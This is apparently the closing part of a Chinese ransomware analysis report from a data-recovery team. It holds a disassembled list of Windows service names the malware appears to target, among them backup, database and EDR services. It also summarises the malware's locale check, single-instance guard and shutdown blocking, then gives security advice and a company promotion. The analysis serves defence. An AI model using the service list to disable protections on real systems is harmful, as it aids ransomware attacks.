.rdata:000000014005EF28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMdm&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"MDM"
.rdata:000000014005EF30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTxqbservice&nbsp;&nbsp;;&nbsp;"TxQBService"
.rdata:000000014005EF38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aGailunDownload&nbsp;;&nbsp;"Gailun_Downloader"
.rdata:000000014005EF40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRemoteassistse&nbsp;;&nbsp;"RemoteAssistService"
.rdata:000000014005EF48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aYunservice&nbsp;&nbsp;&nbsp;;&nbsp;"YunService"
.rdata:000000014005EF50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aServU&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"Serv-U"
.rdata:000000014005EF58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOpenfastassist&nbsp;;&nbsp;"OpenFastAssist"
.rdata:000000014005EF60&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAscomsvc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"asComSvc"
.rdata:000000014005EF68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOfficeupdatese&nbsp;;&nbsp;"OfficeUpdateService"
.rdata:000000014005EF70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRtcsrv&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"RtcSrv"
.rdata:000000014005EF78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRtcasmcu&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"RTCASMCU"
.rdata:000000014005EF80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aFta&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"FTA"
.rdata:000000014005EF88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMaster&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"MASTER"
.rdata:000000014005EF90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aNscauthservice&nbsp;;&nbsp;"NscAuthService"
.rdata:000000014005EF98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMscrmunzipserv&nbsp;;&nbsp;"MSCRMUnzipService"
.rdata:000000014005EFA0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMscrmasyncserv&nbsp;;&nbsp;"MSCRMAsyncService$maintenance"
.rdata:000000014005EFA8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMscrmasyncserv_0&nbsp;;&nbsp;"MSCRMAsyncService"
.rdata:000000014005EFB0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aReplica&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"REPLICA"
.rdata:000000014005EFB8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRtcats&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"RTCATS"
.rdata:000000014005EFC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRtcavmcu&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"RTCAVMCU"
.rdata:000000014005EFC8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRtcqms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"RtcQms"
.rdata:000000014005EFD0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRtcmeetingmcu&nbsp;;&nbsp;"RTCMEETINGMCU"
.rdata:000000014005EFD8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRtcimmcu&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"RTCIMMCU"
.rdata:000000014005EFE0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRtcdatamcu&nbsp;&nbsp;&nbsp;;&nbsp;"RTCDATAMCU"
.rdata:000000014005EFE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRtccdr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"RTCCDR"
.rdata:000000014005EFF0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aProjecteventse&nbsp;;&nbsp;"ProjectEventService16"
.rdata:000000014005EFF8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aProjectqueuese&nbsp;;&nbsp;"ProjectQueueService16"
.rdata:000000014005F000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSpadminv4&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"SPAdminV4"
.rdata:000000014005F008&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSpsearchhostco&nbsp;;&nbsp;"SPSearchHostController"
.rdata:000000014005F010&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSptimerv4&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"SPTimerV4"
.rdata:000000014005F018&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSptracev4&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"SPTraceV4"
.rdata:000000014005F020&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOsearch16&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"OSearch16"
.rdata:000000014005F028&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aProjectcalcser&nbsp;;&nbsp;"ProjectCalcService16"
.rdata:000000014005F030&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aC2wts&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"c2wts"
.rdata:000000014005F038&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAppfabriccachi&nbsp;;&nbsp;"AppFabricCachingService"
.rdata:000000014005F040&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAdws&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"ADWS"
.rdata:000000014005F048&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMotionboard57&nbsp;;&nbsp;"MotionBoard57"
.rdata:000000014005F050&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMotionboardrcs&nbsp;;&nbsp;"MotionBoardRCService57"
.rdata:000000014005F058&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVsvnjobsvc&nbsp;&nbsp;&nbsp;;&nbsp;"vsvnjobsvc"
.rdata:000000014005F060&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aVisualsvnserve&nbsp;;&nbsp;"VisualSVNServer"
.rdata:000000014005F068&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aBestsyncsvc&nbsp;&nbsp;;&nbsp;"BestSyncSvc"
.rdata:000000014005F070&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aLpmanager&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"LPManager"
.rdata:000000014005F078&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMediatekregist&nbsp;;&nbsp;"MediatekRegistryWriter"
.rdata:000000014005F080&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aRaautoinstsrvR&nbsp;;&nbsp;"RaAutoInstSrv_RT2870"
.rdata:000000014005F088&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCobianbackup10&nbsp;;&nbsp;"CobianBackup10"
.rdata:000000014005F090&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlanysSem5&nbsp;&nbsp;;&nbsp;"SQLANYs_sem5"
.rdata:000000014005F098&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCaslicenceserv&nbsp;;&nbsp;"CASLicenceServer"
.rdata:000000014005F0A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSqlservice&nbsp;&nbsp;&nbsp;;&nbsp;"SQLService"
.rdata:000000014005F0A8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSemwebsrv&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"semwebsrv"
.rdata:000000014005F0B0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTbosssystem&nbsp;&nbsp;;&nbsp;"TbossSystem"
.rdata:000000014005F0B8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aErpenvsvc&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"ErpEnvSvc"
.rdata:000000014005F0C0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMysoftAutoupgr&nbsp;;&nbsp;"Mysoft.Autoupgrade.DispatchService"
.rdata:000000014005F0C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMysoftAutoupgr_0&nbsp;;&nbsp;"Mysoft.Autoupgrade.UpdateService"
.rdata:000000014005F0D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMysoftConfigWi&nbsp;;&nbsp;"Mysoft.Config.WindowsService"
.rdata:000000014005F0D8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMysoftDatacent&nbsp;;&nbsp;"Mysoft.DataCenterService"
.rdata:000000014005F0E0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMysoftScheduli&nbsp;;&nbsp;"Mysoft.SchedulingService"
.rdata:000000014005F0E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMysoftSetupIns&nbsp;;&nbsp;"Mysoft.Setup.InstallService"
.rdata:000000014005F0F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aMysoftupdate&nbsp;;&nbsp;"MysoftUpdate"
.rdata:000000014005F0F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aEdrMonitor&nbsp;&nbsp;&nbsp;;&nbsp;"edr_monitor"
.rdata:000000014005F100&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aAbsDeployer&nbsp;&nbsp;;&nbsp;"abs_deployer"
.rdata:000000014005F108&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aSavsvc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"savsvc"
.rdata:000000014005F110&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aShareboxmonito&nbsp;;&nbsp;"ShareBoxMonitorService"
.rdata:000000014005F118&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aShareboxservic&nbsp;;&nbsp;"ShareBoxService"
.rdata:000000014005F120&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCloudexchanges&nbsp;;&nbsp;"CloudExchangeService"
.rdata:000000014005F128&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aCis&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"CIS"
.rdata:000000014005F130&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aEasservice&nbsp;&nbsp;&nbsp;;&nbsp;"EASService"
.rdata:000000014005F138&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aKicksvr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"KICkSvr"
.rdata:000000014005F140&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8smssrv&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"U8SmsSrv"
.rdata:000000014005F148&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aOfficeclearcac&nbsp;;&nbsp;"OfficeClearCache"
.rdata:000000014005F150&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aTurbocrm70&nbsp;&nbsp;&nbsp;;&nbsp;"TurboCRM70"
.rdata:000000014005F158&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8dispatchserv&nbsp;;&nbsp;"U8DispatchService"
.rdata:000000014005F160&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8eisservice&nbsp;;&nbsp;"U8EISService"
.rdata:000000014005F168&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8encryptservi&nbsp;;&nbsp;"U8EncryptService"
.rdata:000000014005F170&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8gcservice&nbsp;&nbsp;;&nbsp;"U8GCService"
.rdata:000000014005F178&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8keymanagepoo&nbsp;;&nbsp;"U8KeyManagePool"
.rdata:000000014005F180&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8scmpool&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"U8SCMPool"
.rdata:000000014005F188&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8slreportserv&nbsp;;&nbsp;"U8SLReportService"
.rdata:000000014005F190&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aU8taskservice&nbsp;;&nbsp;"U8TaskService"
.rdata:000000014005F198&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aUfallnet&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;&nbsp;"UFAllNet"
.rdata:000000014005F1A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aUfreportservic&nbsp;;&nbsp;"UFReportService"
.rdata:000000014005F1A8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dq&nbsp;offset&nbsp;aUtuservice&nbsp;&nbsp;&nbsp;;&nbsp;"UTUService"

6.病毒分析概览

病毒启动后，首先利用系统默认语言，若系统语言为俄语系列，则不进行恶意行为。通过创建windows事件，保证了木马不会多次启动。调整了电脑的电源设置为高性能模式，为之后的加密做准备。调用系统调用，阻止系统关机，同时修改注册表，隐藏开始关机按钮。

7.安全建议

#

7.1 风险消减措施

资产梳理排查目标:根据实际情况，对内外网资产进行分时期排查

服务方式:调研访谈、现场勘查、工具扫描

服务关键内容：流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查

7.2 安全设备调优

#

目标

通过对安全现状的梳理和分析，识别安全策略上的不足，结合目标防御、权限最小化、缩小攻击面等一系列参考原则，对设备的相关配置策略进行改进调优，一方面，减低无效或低效规则的出现频次；另一方面，对缺失或遗漏的规则进行补充，实现将安全设备防护能力最优化。

主要目标设备

网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

7.3 全员安全意识增强调优

目标：

通过网络安全意识宣贯、培训提升全方位安全能力

形式：

培训及宣贯

线下培训课表

若无法组织线下的集体培训，考虑两种方式:

1.提供相关的安全意识培训材料，由上而下分发学习

2.组织相关人员线上开会学习。线上培训模式。

线上学习平台

8.团队介绍

solar团队数年深耕勒索解密与数据恢复领域，在勒索解密和数据恢复领域建立了良好的声誉，以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业，都能提供量身定制的服务，确保每一个被勒索软件侵害的数据都能够恢复到最佳状态，同时在解密数据恢复后，提供全面的后门排查及安全加固服务，杜绝二次感染的风险。同时，solar团队坚持自主研发及创新，在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入，目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系、ITSS（信息技术服务运行维护标准四级）以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证，已构建了网络安全行业合格的资质体系。

9.数据恢复服务流程

